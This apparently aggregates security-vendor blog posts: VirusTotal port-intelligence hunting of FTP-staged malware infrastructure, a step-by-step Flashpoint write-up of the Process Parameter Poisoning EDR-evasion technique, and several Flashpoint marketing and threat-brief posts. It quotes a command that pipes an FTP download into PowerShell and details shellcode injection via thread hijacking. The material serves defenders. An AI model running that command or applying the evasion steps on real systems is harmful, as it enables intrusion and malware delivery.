21, and only the next-hop IP changes:start "" conhost.exe --headless cmd /c "ftp 167.148.41.164|powershell"
| IP | Hosting | Port 21 | Next hop in the banner |
|---|---|---|---|
| 157.254.194[.]31 | 12651980 CANADA INC. (US) | closed, last seen open 2026-08-10 | 167.148.41[.]164 |
| 54.37.237[.]164 | OVH (FR) | open, last seen 2026-10-01 | 54.37.237[.]166 |
| 51.89.199[.]125 | OVH (GB) | closed, last seen open 2026-08-31 | 51.89.199[.]118 |
| 185.14.92[.]162 | Florian Kolb (DE) | closed, seen open only on 2026-07-03 | 185.14.92[.]223 |
| 45.87.41[.]133 | SpectraIP (NL) | closed, last seen open 2026-07-08 | 64.111.92[.]89 |
157.254.194[.]31 pointing to 167.148.41[.]164 is the exact chain SOCRadar described for E4del. The Ports tab adds the timeline: port 21 was first seen open on 2026-07-11 and last seen open on 2026-08-10. Since 2026-09-28 the same host exposes nginx on port 8000 and a Python SimpleHTTP server on port 8080, so it is worth keeping an eye on.54.37.237[.]164 hands off to .166 and 51.89.199[.]125 to .118, both on OVH, while 185.14.92[.]162 hands off to .223 on the same ASN. Once you find a first stage, its /24 is a cheap next place to look.45.87.41[.]133 was already serving the banner on 2026-06-30, a few days before the early July start date in the report. Its next hop, 64.111.92[.]89, is on BL Networks (AS399629), the same network as the PINHOLE FTP Stats Panel host reported.54.37.237[.]164 was serving the banner as of 2026-10-01. Its next hop has port 21 open, but returned an empty banner to our scanner.port_info list, so the data comes with the calls you already make. There are also three new endpoints: /api/v3/port_infos/{ip}:{port} for the current state of a port, /api/v3/port_infos/{ip}:{port}/analysis for the full history of analyses of that port (paginated with a cursor), and /api/v3/port_analyses/{ip}:{port}:{timestamp} for a specific analysis.
# Ensure you have sufficient quota to run this. This script is illustrative only.
import os
import requests
BASE = "https://www.virustotal.com/api/v3"
HEADERS = {"x-apikey": os.environ["VT_APIKEY"]}
def ports(ip):
r = requests.get(f"{BASE}/ip_addresses/{ip}", headers=HEADERS, timeout=60)
r.raise_for_status()
for p in r.json()["data"]["attributes"].get("port_info", []):
svc = p.get("latest_analysis", {}).get("port_service", {})
fp = svc.get("ssh", {}).get("host_key_fingerprint", "")
print(p["port"], p["status"], svc.get("product", ""), svc.get("version", ""), fp)
def search(query, limit=40):
r = requests.get(f"{BASE}/intelligence/search", headers=HEADERS,
params={"query": query, "limit": limit}, timeout=120)
r.raise_for_status()
return [d["id"] for d in r.json().get("data", [])]
ports("5.175.221.206")
print(search('entity:ip port_service_product[8443]:nginx port_service_cpe[8443]:php os_type[445]:10.0.20348'))
PORT_INFO_STATUS_OPEN, PORT_INFO_STATUS_CLOSED or PORT_INFO_STATUS_RECENTLY_CLOSED, and dates are Unix timestamps.vt.net.ip fields of the YARA vt module, and port data isn't exposed there today. Until it is, the practical workaround is to save your best queries and re-run them on a schedule through the API.
Unit 42 details the top initial access vectors adversaries use to breach organizations, led by edge exploits, credential abuse and phishing
The post Top 5 Initial Access Threat Vectors Observed by Unit 42 in September 2026 appeared first on Unit 42.
Table Of ContentsVulnerability and exposure management (VM) teams need critical metadata and context that clearly show which issues pose an immediate risk to their organization. While traditional VM frameworks tell defenders how severe a vulnerability may be, they do not provide visibility into how likely threat actors are to exploit it. This leaves security teams overwhelmed in patch backlogs without a clear strategy for prioritization.
Nowhere is this prioritization gap more dangerous than with ransomware. Ransomware-as-a-Service (RaaS) groups no longer choose targets at random. They look for specific technical conditions that make vulnerability exploitation easy, fast, and repeatable. With RaaS attacks rising by 45% period-over-period in H1 2026, organizations need a way to identify the specific traits that make a vulnerability attractive to ransomware operators before an attack occurs.
Flashpoint built the Ransomware Risk score into Flashpoint Vulnerability Intelligence to solve exactly this problem. Since 2022, it has rated newly discovered vulnerabilities based on how closely they resemble those known to be used in ransomware attacks. With the grant of the U.S. Patent No. 12,705,360 on August 11, 2026, the methodology behind the score is now formally patented. This milestone formalizes Flashpoint’s ability to cut through the noise with a proven, threat-informed signal that gives defenders the clarity they need to act on Day Zero.
“As vulnerability disclosures surge, prioritization is more important than ever for security teams. A severity score alone can’t tell you which vulnerabilities pose the greatest real-world risk of exploitation by ransomware actors.
Our patented Ransomware Risk model applies years of threat intelligence to that problem, giving customers an earlier signal and helping them prioritize based on how attackers actually operate.”
josh lefkowitz, co-founder and ceo at flashpoint
The patented system evaluates newly disclosed vulnerabilities against the patterns shared by vulnerabilities ransomware groups have exploited. Rather than trying to predict what threat actors will do next, the model learns what past ransomware-exploited vulnerabilities have in common and compares each new flaw against those patterns.
Every vulnerability ingested into Flashpoint Vulnerability Intelligence is profiled against more than 60 distinct technical factors. This “fingerprinting” links the vulnerability to key inputs including whether the flaw is remotely exploitable without authentication, whether it affects SCADA or Operational Technology (OT) systems, and its potential impact on data availability, which is central to extortion schemes.
The model turns each multi-factor fingerprint into a set of values that place it as a single point on a map, so vulnerabilities with similar profiles land close together.
Flashpoint overlays historical threat data onto the map to establish neighborhoods where vulnerabilities previously exploited in real-world ransomware attacks aggregate.
When a new vulnerability is ingested, its coordinates are checked against these neighborhoods. The scoring system calculates its spatial proximity to known ransomware vectors and assigns a clear rating: Low, Medium, High, or Critical.
This four-step method, developed by Flashpoint’s Ben Haynes and Jacob Kouns, is the basis of U.S. Patent No. 12,705,360.
By translating complex structural attributes into a single risk score, the patented model delivers four key operational advantages:
Flashpoint’s Ransomware Risk model is built to enhance, not replace the vulnerability management frameworks organizations already rely on. In fact, it provides even greater value for security teams as our Ransomware Risk model provides clarity for every vulnerability detailed by Flashpoint Vulnerability Intelligence, including over 105,000 issues missed by CVE and NVD.
Within Flashpoint Ignite, security teams have a complete view of vulnerability risk, seeing the score alongside CVSS (v3 and v4), EPSS, Social Risk, and exploit maturity.
Vulnerability management requires more than cataloging. It demands threat-informed prioritization that aligns security operations with real-world business risk. Flashpoint’s patented Ransomware Risk model eliminates guesswork by surfacing the flaws that match the profile of known ransomware targets, allowing security teams to patch what matters most, first.
By combining proprietary knowledge of vulnerability architecture and ransomware attacks, Flashpoint bridges the gap between theoretical and active exposure. Request a demo today to see how our Ransomware Risk model provides the definitive signal needed to stay ahead of extortion groups.
What is the Ransomware Risk score?
The Ransomware Risk score is a rating in Flashpoint Vulnerability Intelligence that shows how closely a vulnerability resembles those known to be used in ransomware attacks. Each vulnerability is rated Low, Medium, High, or Critical, so security teams can see which ones to patch first to reduce their ransomware exposure.
How is Ransomware Risk different from CVSS and EPSS?
CVSS measures how severe a vulnerability could be, and EPSS estimates how likely it is to be exploited in general. Ransomware Risk adds a ransomware-specific signal that works alongside both, showing how closely a vulnerability matches those ransomware groups have used. In Flashpoint Ignite, all three scores appear together.
What does Flashpoint’s ransomware patent cover?
U.S. Patent No. 12,705,360, granted August 11, 2026, covers Flashpoint’s method for rating how likely a vulnerability is to be used in a ransomware event. Each vulnerability is profiled on more than 60 factors, compared with vulnerabilities used in past ransomware attacks, and rated by similarity. The patent formalizes the model behind the Ransomware Risk score, live since 2022.
How often are Ransomware Risk scores updated?
Ransomware Risk scores update in near real time, so new vulnerabilities are rated as soon as they’re disclosed. The model also keeps adjusting as new vulnerabilities join the body it compares against, so ratings reflect the ransomware landscape as it stands today.
The post Ransomware Risk Model: Flashpoint’s Patented Scoring Method to Inform Vulnerability Prioritization appeared first on Flashpoint.
In this post, Flashpoint analysts examine Process Parameter Poisoning—a novel EDR evasion technique we validated in Rust—and detail how abusing undocumented process parameters allows attackers to inject code and bypass standard security products.
Table Of ContentsModern Endpoint Detection and Response (EDR) platforms have made traditional malware injection techniques significantly harder to execute. In most cases, if a threat actor attempts to write malicious code into a process, an alert will fire. However, that sense of security is being actively challenged as cybercriminals and red teams find new ways to blend malicious payloads into standard operating system routines.
Flashpoint’s Intelligence team built and tested a proof-of-concept for a newly disclosed technique known as Process Parameter Poisoning. By compiling a custom payload and layering evasion mechanics, our analysts demonstrated how easily traditional API hooks can be rendered blind in a laboratory environment—achieving zero alerts across tested EDR/XDR controls.
Process Parameter Poisoning is a novel endpoint detection and response (EDR) evasion technique that combines process parameter spoofing and thread execution hijacking to inject code into foreign processes without triggering standard security detection mechanisms.
Discovered by researchers Max Hirschberger and Ogulcan Ugur, Process Parameter Poisoning is designed to inject code in foreign processes without relying on the conventional memory-manipulation workflows that modern security tooling monitors.
To execute process injection, historically security tools and threat actors alike have focused on a small set of well-known Windows application programming interfaces (APIs). Process Parameter Poisoning shifts away from these heavily watched routines entirely. Instead of calling memory-accessing APIs to allocate and write into a target process, the technique hides the malicious payload directly inside standard process initialization structures during the initial creation of a process. The result is a fundamental shift in defense evasion that effectively blinds traditional, API-hooking EDR agents during the initial stages of code execution.
Process Parameter Poisoning allows attackers to bypass suspicious memory-accessing Windows APIs, such as VirtualAllocEx(), WriteProcessMemory(), and MapViewOfFile2(). Security products heavily monitor these specific APIs due to their high rate of abuse in traditional process injection techniques. However, by avoiding these calls, an attacker effectively bypasses the initial primary triggers used by endpoint agents to flag malicious cross-process memory activity.
When using the Windows application programming interface (API), CreateProcessA/W(), the developer can specify parameters such as the command-line to be executed by the new process, environment variables for the new process, current working directory for the process, window title if it is a console application, create a hidden window, create the process in a suspended state, etc. Many of these parameters are passed into CreateProcessA/W() via the STARTUPINFOA/W structure.
Some entries are undocumented and labeled “reserved” by Microsoft. The discovering researchers found that data stored in STARTUPINFO->lpReserved ends up in the Process Environment Block once the new process is initialized in an entry called “ShellInfo.” Below is an example of placing data into the STARTUPINFOW->lpReserved entry in a test application and the data stored in ShellInfo while debugging the newly created process.
Flashpoint analysts created a proof-of-concept (POC) in Rust to test this technique based on the POC C++ source code provided by the researchers:
Flashpoint confirmed that after changing the memory to have executable permissions, the threat actors can perform thread hijacking by using GetThreadContext() to acquire information about the current running thread, change the instruction pointer to point to the ShellInfo.Buffer address, and then SetThreadContext() to apply the changes and execute the shellcode.
Flashpoint analysts further confirm that this technique also works with the WindowTitle entry, CommandLine entry using the same series of steps.
The technique also works with the Environment entry but requires additional steps. Environment blocks require a variable name and the variable data separated by an “=.” Environment blocks can contain multiple variable entries in which each entry is ended with a null terminator. Two null terminators are necessary to denote the end of the environment block. This means the payload needs to be embedded in a longer string with a “{NAME} = {VALUE}” format.
Flashpoint analysts note that four null terminators were appended to the shellcode bytes to denote the end of an environment block in Unicode. The resulting payload buffer is then passed into the lpEnvironment variable of CreateProcessW() along with the CREATE_UNICODE_ENVIRONMENT creation flag.
The rest of the process remains the same as reading the PEB and RTL_USER_PROCESS_PARAMETERS structure. The Environment entry is read, but at the offset of the embedded shellcode within the poisoned environment block string. Because four bytes were added to the beginning of the shellcode to make the Unicode environment block, execution needs to begin after four bytes from the beginning of the buffer to begin executing at the shellcode.
Flashpoint notes that the shellcode requires no NULL bytes, and, if using the PAGE_EXECUTE_READ flag, it cannot overwrite itself. This means automated shellcode generators such as MSFVenom might not work either because they contain NULL bytes or use encoders that perform memory writes during execution. Flashpoint analysts wrote custom shellcode to further test this technique. The shellcode downloads and executes an additional payload. The combination of this technique, custom shellcode, and the use of Rust as the programming language proved successful in minimizing initial static detections by security software.
Flashpoint tested this technique with a commonly-used open source EDR platform. The EDR platform itself failed to produce any alerts from executing the malicious binary. However, the XDR component blocked on the initial creation of a new process and COM interactions by the second stage payload.
Flashpoint analysts then combined this technique with the DLL unhooking technique and applied the non-Microsoft block DLL policy during the creation of the sacrificial process. Analysts observed no blocks from the XDR during execution and observed no alerts on the platform.
| Tactic | Technique ID | Technique Name |
| Stealth | T1055 | Process Injection |
| Stealth | T1055.003 | Process Injection: Thread Execution Hijacking |
| Stealth | T1564.010 | Hide Artifacts: Process Argument Spoofing |
Security teams can leverage several detection strategies to identify Process Parameter Poisoning, though each approach carries distinct limitations:
Process Parameter Poisoning demonstrates another advancement in stealthy process injection and the constantly evolving research into evading security products. By using the previously unknown purpose of the lpReserved field within the STARTUPINFOW structure to house shellcode, this technique bypasses standard security product triggers associated with common memory-allocation APIs. While this proof-of-concept was proven successful in lab testing, the technique has multiple opportunities for detection and will most likely require a combination of additional evasion techniques to achieve a higher success rate.
As threat actors continue to refine technique-stacking and exploit overlooked Windows internals, relying on traditional API hooks is no longer enough to protect your enterprise. Staying ahead of modern evasion mechanics requires proactive intelligence and deep visibility into emerging adversary TTPs.
Request a demo today to see how best-in-class threat intelligence can help security teams detect, prepare for, and neutralize advanced defense evasion techniques before they impact your network.
The post Process Parameter Poisoning: Inside a Novel EDR Evasion Technique appeared first on Flashpoint.
Flashpoint’s weekly analysis tracks shifting kinetic and cyber threat radiuses, geopolitical disruptions, and provides critical operational forecasts for the ongoing Middle East conflict.
Table Of ContentsFollowing Operation Epic Fury, regional kinetic operations have transitioned into direct, persistent threats against commercial shipping, energy infrastructure, and critical supply chains.
The Flashpoint Threat Intelligence Brief: Middle East cuts through headline noise to deliver tactical, ground-level intelligence for government agencies, corporate security leads, and global logistics teams—turning Flashpoint’s primary source intelligence into proactive risk mitigation.
Here is what your security operations team needs to track this week.
Between October 16 and October 22, Ansarallah (the Houthi movement) expanded its operations against Yemeni government forces, striking the Al-Alam training center in Shabwa governorate with three ballistic missiles on October 19. Local officials reported at least 53 people killed and more than 200 wounded. Houthi forces also reportedly advanced into western Taiz city and claimed additional attacks against Saudi-aligned forces.
The United Kingdom announced it would deploy Royal Air Force (RAF) Typhoon fighter jets, an A400M transport aircraft, and military advisers to strengthen Saudi Arabia’s defenses against Houthi missile and drone attacks. The deployment comes as Saudi authorities continue responding to strikes against aviation infrastructure and other targets.
Inside Iran, reports of renewed US military strikes against Iranian facilities remained disputed. Iranian sources alleged attacks on the Kenarak naval base and an Islamic Revolutionary Guard Corps (IRGC) anti-ship missile unit in Sirik, although a US official rejected the Kenarak account and neither incident has been independently confirmed. Iran also placed border forces on maximum alert, conducted ballistic missile launches, and reinforced preparations for potential renewed hostilities.
Regional tensions extended into Iraq’s Kurdistan region, where Iranian ballistic missiles and drones struck Kurdish opposition positions near Erbil on October 21. Iraq began closing its border crossings with Iran the same day, following Pakistan’s closure of its second crossing earlier in the reporting period.
Maritime attacks continued in the Strait of Hormuz and waters off Saudi Arabia, with UKMTO reporting a tanker damaged by unknown projectiles northeast of Jubail.
In the cyber domain, Iranian authorities issued binding directives to cut domestic access to the international internet if another war begins. Separately, the Handala Hack Team claimed breaches of Israeli military units and personnel, while new research documented the use of online advertising infrastructure to deliver Candiru spyware.
The expansion of Houthi operations into southern Yemen adds another front to an already sustained campaign against Saudi Arabia. Beyond the October 19 strike in Shabwa, Ansarallah forces reportedly advanced into western Taiz, approaching the Old Airport neighborhood and Taiz University. The group also claimed to have downed a Saudi military helicopter near Najran, although Saudi authorities have not confirmed the loss. Meanwhile, the UK’s deployment of RAF Typhoon fighter jets and military advisers will provide additional defensive support to Saudi Arabia while increasing the number of Western military assets exposed to Houthi attacks.
Preparations for potential renewed hostilities between Iran and Israel also intensified. Iran’s reported “Code 100” maximum border alert coincided with ballistic missile activity near Urmia and an Israeli long-range strike exercise involving dozens of fighter jets and reported US aerial refueling support. Iranian sources separately alleged US strikes against military facilities at Kenarak and Sirik, although neither incident has been independently confirmed and a US official disputed the Kenarak account. Together, these developments point to heightened military readiness, even as the timing and likelihood of renewed large-scale operations remain uncertain.
Iran’s strikes against Kurdish opposition positions near Erbil introduce additional security concerns for organizations operating in Iraq’s Kurdistan region. The attacks followed Iranian statements concerning the potential expulsion or transfer of Kurdish opposition members from Iraq, while the closure of border crossings by Iraq and Pakistan further complicates overland movement and commercial logistics.
At sea, the threat extends beyond the Strait of Hormuz to waters off Saudi Arabia. UKMTO reported a tanker damaged by unknown projectiles northeast of Jubail, while separate reporting identified another tanker struck in the Red Sea. Iranian claims of additional incidents, including a purported mine strike in the Strait of Hormuz, remain unverified. The continued attacks across multiple maritime corridors complicate transit planning for commercial shipping and energy operators.
New research from Citizen Lab and another research group identified how Israeli digital advertising agency Discover-Tech used a capability known as AdFection to track individuals and deliver Candiru spyware through ordinary online advertisements. The operation reportedly used advertising infrastructure spanning more than 120,000 websites and 75,000 applications, with targeted devices potentially compromised simply by loading a malicious advertisement. Targets included dozens of Al Jazeera journalists, while the advertisements also reached networks associated with the UN, NATO, the International Criminal Court, and the Pentagon.
The Handala Hack Team also claimed new compromises of Israeli military entities, including a media-monitoring and analysis center it associated with Unit 8200 and the commander of the IDF’s Yahalam combat engineering unit. The group published more than 500 purportedly classified documents and tens of thousands of alleged internal messages, attributing its access in part to sensitive operational information stored on personal devices. These claims have not been independently verified.
Meanwhile, Iranian authorities issued binding directives requiring domestic access to the international internet to be cut immediately if another war begins. The order raises the prospect of significant communications disruptions for businesses and personnel operating inside Iran. A Ukrainian intelligence assessment also reported cooperation between Russian and Iranian hacking groups targeting Israeli infrastructure, while Iranian opposition activists warned of a suspicious Telegram account impersonating Israeli military intelligence to solicit personal information and documents.
Organizations with personnel, facilities, or operations exposed to the conflict should reassess physical security, travel arrangements, maritime operations, and cyber defenses.
Cyber Defense
Physical and Operational Defense
Over the next 48–72 hours, Ansarallah is likely to sustain missile and drone pressure on Saudi cities and infrastructure while continuing operations against Yemeni government forces in Taiz, Shabwa, and Aden. The deployment of RAF Typhoon aircraft strengthens Saudi air defenses but also places additional UK personnel and equipment within range of potential Houthi attacks.
Iran’s maximum border alert, ballistic missile activity, and preparations for communications restrictions indicate heightened readiness for a possible resumption of large-scale hostilities. Israel’s recent long-range strike exercise reinforces concerns about further escalation, although renewed US-Israeli military action remains uncertain. Iranian strikes near Erbil and the closure of Iraqi and Pakistani border crossings also raise the possibility of further disruption to regional security and logistics.
Commercial shipping is likely to remain exposed to attacks in the Strait of Hormuz and surrounding waterways, while competing claims about responsibility will continue complicating incident assessments. In the cyber domain, Handala may release additional material it claims to have obtained from Israeli military sources, and intelligence collection, impersonation activity, and competing information narratives are likely to persist alongside physical threats.
As the conflict continues to affect military operations, commercial shipping, regional infrastructure, and digital communications, security teams need timely intelligence to assess emerging risks and protect their organizations.
Flashpoint combines primary-source monitoring, open-source intelligence, and geospatial analysis to help organizations identify developing threats, assess operational exposure, and make informed security decisions.
Request a demo to learn how Flashpoint supports physical security intelligence, threat monitoring, and operational risk assessment.
What is the Flashpoint Physical Threat Intelligence Brief?
The Flashpoint Physical Threat Intelligence Brief: Middle East is a recurring threat intelligence update that translates raw primary-source open-source intelligence (OSINT) and geospatial data into actionable physical security analysis. It focuses on kinetic conflict developments, standoff weapon capabilities, maritime corridor security, and critical infrastructure risks across the Middle East.
How does Flashpoint gather physical security intelligence for the Middle East?
Flashpoint Physical Security Intelligence (PSI) gathers data by combining global open-source intelligence (OSINT), geolocated social media signals, satellite imagery, and primary-source threat monitoring. The platform uses AI-driven natural language processing and geospatial mapping to track kinetic developments, weapon strike radiuses, and physical security threats in real time.
The post The Flashpoint Threat Intelligence Brief: Middle East appeared first on Flashpoint.
In this blog we explore the recently published Forrester Wave: External Threat Intelligence Service Providers, Q3 2026 report which named Flashpoint a Customer Favorite, along with naming the organization a Strong Performer with the highest scores possible in the criteria of: Fraud Intelligence, Executive Protection, and Pricing Flexibility and Transparency.
Table Of ContentsFlashpoint has been named a Customer Favorite and a Strong Performer in The Forrester Wave: External Threat Intelligence Service Providers, Q3 2026.
The Forrester Wave evaluation is a rigorous, data-driven analysis of external threat intelligence service providers across 23 criteria grouped into two categories: Current Offering and Strategy. Alongside its scoring, Forrester incorporates direct customer feedback into its evaluation, and the Forrester report notes that customers “laud Flashpoint’s white-glove approach to addressing diverse customer needs.”
“Customer obsession has been part of Flashpoint’s DNA from day one. When your customers are protecting financial systems, critical infrastructure, national security, and human lives, their mission becomes your mission,” said Josh Lefkowitz, CEO at Flashpoint. “Forrester has built this likeminded customer obsession into how it evaluates vendors, and it’s why being named a Customer Favorite means so much to us. We believe it reflects customers confirming Flashpoint gives them the intelligence, context, and partnership they need to carry out those missions with confidence.”
Flashpoint also received the highest score possible in three criteria: Fraud Intelligence, Executive Protection, and Pricing Flexibility and Transparency. Forrester’s report describes Flashpoint’s Ignite platform as “stand[ing] out for its fraud intelligence capabilities and strong presence across the ecosystem that supports enterprises’ fraud response.” It further describes Flashpoint’s executive protection offering as “structured and comprehensive.”
At the foundation of these capabilities is Flashpoint Primary Source Collection, Flashpoint’s proprietary approach to collecting intelligence directly from the digital environments where threats originate — providing organizations with access to high-value intelligence from open and hard-to-reach sources, enriched by human expertise and scaled by AI. We believe Forrester’s assessment speaks directly to this strength, stating that “Flashpoint is ideal for customers seeking primary source access intelligence, particularly those in the financial industry.” That strength extends well beyond financial services. Organizations across industries rely on Flashpoint to address cyber threats, vulnerability risk, fraud, physical security, geopolitical risk, and brand protection.
The remit of threat intelligence programs continues to expand as the volume and complexity of threats grows, accelerated by AI. Now, a single incident can cross cyber operations, fraud, vulnerability management, executive protection, and physical security, while ownership of those risks may sit across several teams. Threat intelligence solutions need to provide holistic visibility into external activity and enough context to determine what deserves attention.
Flashpoint Ignite gives those teams a common intelligence foundation. In our opinion, the Forrester evaluation reflects that breadth: Flashpoint received the highest score possible in both the Fraud Intelligence and Executive Protection criteria.
For fraud teams, primary-source intelligence can expose compromised credentials, illicit services, access sales, and emerging schemes before they translate into financial loss. For executive protection and physical security teams, it can connect online activity with potential real-world risk to people, facilities, and events.
“Flashpoint saves us over $80 million in fraud losses every year. Their proactive approach and sharp insights are crucial in keeping our financial institution secure. They’re not just a solution; they’re a strategic partner helping us stay ahead of cyber threats.”
SVP Cyber Operations, Large U.S. Financial Institution
Analyst evaluations give buyers a structured view of a complex market. To understand how a threat intelligence platform will perform in practice, security leaders should ask:
“I have used Flashpoint for several years and continue to be impressed with the quality of their services and the thought put into each new offering. Flashpoint is one of the few vendors that has consistently demonstrated a high level of responsiveness and an in-depth understanding of the needs of any threat/fraud/security analyst. Their services cover a wide range of topics from cybersecurity to physical threats, and they are always looking for ways to improve and widen the scope of intelligence they provide.”
Lead Analyst, Cybersecurity
Read The Forrester Wave: External Threat Intelligence Service Providers, Q3 2026 to explore the evaluation and learn more about Flashpoint’s results.
What is The Forrester Wave: External Threat Intelligence Service Providers, Q3 2026?
The Forrester Wave: External Threat Intelligence Service Providers, Q3 2026 evaluates external threat intelligence service providers across their current offering, strategy, and customer feedback to help security leaders assess vendors in the market.
How did Flashpoint perform in Forrester’s latest evaluation of external threat intelligence service providers?
Flashpoint was named a Customer Favorite and a Strong Performer in The Forrester Wave: External Threat Intelligence Service Providers, Q3 2026. Flashpoint received the highest score possible in the Fraud Intelligence, Executive Protection, and Pricing Flexibility and Transparency criteria.
Why was Flashpoint named a Customer Favorite in the Forrester Wave?
Customer Favorite reflects feedback from customers participating in Forrester’s evaluation. Forrester reported that customers “laud Flashpoint’s white-glove approach to addressing diverse customer needs.”
What capabilities was Flashpoint recognized for in the Forrester evaluation?
Forrester described Flashpoint Ignite as standing out for its fraud intelligence capabilities and strong presence across the enterprise fraud response ecosystem, while describing its executive protection offering as “structured and comprehensive.”
What differentiates Flashpoint’s threat intelligence?
Flashpoint is built around Primary Source Collection, its proprietary approach to collecting intelligence directly from the digital environments where threats originate. This gives security teams access to intelligence from open and hard-to-reach sources, enriched by human expertise and scaled by AI. In its assessment, Forrester stated that “Flashpoint is ideal for customers seeking primary source access intelligence, particularly those in the financial industry.” That strength extends across sectors: Flashpoint supports more than 750 customers across industries, helping organizations address security challenges spanning cyber threat intelligence, vulnerability management, fraud, physical security, and geopolitical risk.
What security use cases does Flashpoint support?
Flashpoint supports security teams across cyber threat intelligence, vulnerability intelligence, fraud, executive and physical security, geopolitical risk, and brand protection. These capabilities are delivered through Flashpoint Ignite, allowing organizations to apply a common intelligence foundation across multiple security and risk functions.
Forrester does not endorse any company, product, brand, or service included in its research publications and does not advise any person to select the products or services of any company or brand based on the ratings included in such publications. Information is based on the best available resources. Opinions reflect judgment at the time and are subject to change. This report is part of a broader collection of Forrester resources, including interactive models, frameworks, tools, data, and access to analyst guidance. For more information, read about Forrester’s objectivity here.
The post Flashpoint Named A Customer Favorite in The Forrester Wave™ appeared first on Flashpoint.
A look at how natural language processing makes searching and refining results in Echosec simpler.
Table Of ContentsWhen physical threats manifest in the real world, every minute counts. Whether tasked with Executive Protection, securing critical infrastructure, or monitoring live events, security teams face a constant challenge: turning massive volumes of noisy online chatter into rapid, actionable insight.
For traditional workflows, surfacing relevant situational awareness required complex Boolean query construction, exhaustive lists of regional keywords, and constant tweaking of syntax. But when an operational threat is unfolding, troubleshooting search logic is the least of your priorities.
In a recent live session, Flashpoint’s Alanah Crocker, Head of the Flashpoint Training Academy, demonstrated a major evolution in Flashpoint’s physical security intelligence capabilities: Natural Language Search and AI-driven Search Planning.
When it comes to protecting people and infrastructure, security teams need to know what is happening around them. This involves pulling from mainstream social networks, fringe spaces, regional platforms, and illicit chat channels. By layering in geospatial enrichment and analyst-led finished intelligence, organizations gain the insights they need to function in high-stakes environments.
In this live session Flashpoint showed how analysts no longer need to spend time manually building complex syntax trees. Instead, using Flashpoint’s Physical Security Intelligence, analysts can simply describe what they want to discover in plain language.
With this update, analysts no longer need to spend time manually building complex syntax trees. Here’s what an updated workflow looks like using Flashpoint PSI:
By integrating AI-driven search planning directly into Flashpoint PSI, Flashpoint fundamentally changes how security teams move from initial inquiry to tactical triage. When facing unfamiliar threat vectors, analysts need to eliminate the cold start, so that they are not spending needless time guessing local slangs, hashtags, or regional terms to query. Flashpoint’s natural language processing automates this pre-research phase by synthesizing live open-source chatter to surface active jargon and keywords automatically.
Spatial context is equally seamless. Instead of manually looking up street intersections or plotting coordinates on a map, analysts can simply mention a landmark or venue in plain text. Flashpoint PSI understands the geographical intent, automatically constructing precise spatial geofences around the physical asset, event, or VIP travel routes.
Once populated, intelligence gathering becomes a dynamic conversation rather than a static reporting exercise. Analysts can interrogate their data in real-time, asking Flashpoint to isolate video uploads, filter for explicit threats, or hone in on specific operational themes throughout this workflow—all while ensuring the analyst remains firmly in control throughout the entire workflow.
Want to see for yourself how plain-language prompts can build rich, multi-source intelligence workflows? Request a demo, or check out our Product Update page to explore how AI-driven search planning and relevance ranking accelerates OSINT investigations.
The post How Natural Language Search Powers Rapid Physical Security Intelligence appeared first on Flashpoint.
Threat actors are no longer just using automation to execute tasks, they are leveraging prepackaged, safeguard-free AI, weaponizing stolen session data, and directly targeting defenders’ security stacks.
Table Of ContentsIn our latest webinar, Flashpoint Vice President of Intelligence, Ian Gray, briefed security leaders on the evolving threat environment, providing critical insights from the Flashpoint Global Threat Intelligence Report (GTIR): 2026 Midyear Edition.
The threat landscape has developed at a striking pace with Flashpoint tracking over 22 million illicit AI discussions, 7.4 million compromised hosts yielding 1.7 billion stolen credentials, and over 21,600 disclosed vulnerabilities in just six months. Beyond these staggering numbers, the on-demand session detailed something even more alarming: a fundamental shift in adversary operational tradecraft.
Here are the five critical shifts every cyber threat intelligence (CTI), Vulnerability Management, and SOC team needs to know.
The public discussion surrounding criminal artificial intelligence (AI) has reached a critical inflection point. Early in the AI boom, Flashpoint observed threat actors collaboratively experiment across underground forums, jailbreaking commercial frontier models or advertising surface-level tools like WormGPT and DarkGPT.
Today, adversaries are shifting from public forums to running fine-tuned, open-source models locally on private servers, which greatly hampers traditional signature-based detection. Flashpoint analysts are now seeing attackers generate unique, highly tailored malware variants, flawless phishing lures, and custom exploit scripts at extremely low costs—completely offline and shielded from public monitoring.
“A few months ago, a lot of this was collaborative… public outsourcing. Now what we’re seeing is scarier: pre-packaged cybercrime models run locally on private infrastructure. Malicious code, exploit scripts, and targeted phishing are all being generated inside closed environments.”
Ian Gray, VP of Intelligence, Flashpoint
Another eye-opening tactical insight shared during the session was how threat actors are repurposing defender infrastructure for automated initial access and extortion. In the webinar, we pointed to recent campaigns where adversaries specifically targeted misconfigurations and zero-day vulnerabilities inside open-source vulnerability scanners, secrets-detection tools, Kubernetes clusters, and Infrastructure-as-Code(IaC) environments.
What this means for defenders is that the attack surface is no longer bounded by traditional enterprise network boundaries: it extends directly into CI/CD pipelines, security orchestration tooling, and third-party SaaS integrations. Security teams are finding themselves in a race against attackers who use automated scanning scripts to weaponize vulnerabilities in the security tools themselves.
Flashpoint tracked 7.4 million hosts compromised by infostealers in H1 2026—a 27% increase period-over-period—harvesting 1.7 billion credentials and identity information.
While the top infostealer strains remain familiar, law enforcement operations have created vacuums that competitors rapidly fill.
Threat actors are leveraging drive-by downloads, watering holes, and pirated software packages to plant stealers. Once a machine is compromised, the logs capture corporate SSO credentials, active browser cookies, VPN keys, and SaaS session tokens. This enables adversaries to simply log in without having to leverage complex technical exploits.
The Common Vulnerabilities and Exposures (CVE) and National Vulnerability Database (NVD) have failed to keep pace with the velocity of AI-assisted vulnerability discovery. As such, vulnerability management teams are facing significant operational delays.
| Metric | Flashpoint GTIR Midyear H1 2026 Data | Operational Impact |
| Total Disclosures | 21,667 | Remediation volume exceeds defender bandwidth. |
| Exploit Availability | 19% (4,015 CVEs) | Functional code is ready before patches are deployed. |
| Public Catalog Lag | Growing Backlog (NVD/KEV) | Delay in official scoring leaves teams blind to active risk. |
Therefore, waiting for NVD enrichment before prioritizing a patch is a dangerous strategy. To compensate, security teams require Vulnerability Intelligence (VI) that provides primary-source confirmation of weaponization, exploit availability, and actionable mitigation guidance long before public databases update.
Ransomware-as-a-Service (RaaS) activity surged by 45% period-over-period, reaching 6,256 verified victim postings on data leak sites. However, total on-chain payout revenue dropped by 8% to $820 million, with victim pay-rates hitting a record low of 28%.
Faced with declining payouts and resilient enterprise backups, extortion syndicates are adapting. Rather than relying exclusively on technical file-encrypting malware, groups are executing pure data extortion campaigns—frequently targeting cloud platforms or extracting data through third-party vendor access.
Defending against machine-speed attacks requires moving beyond reactive, post-incident telemetry. Flashpoint arms security, CTI, and vulnerability management teams with the primary-source intelligence required to preempt adversary operations:
Request a demo, or watch the full on-demand webinar to explore the data shaping today’s risk landscape.
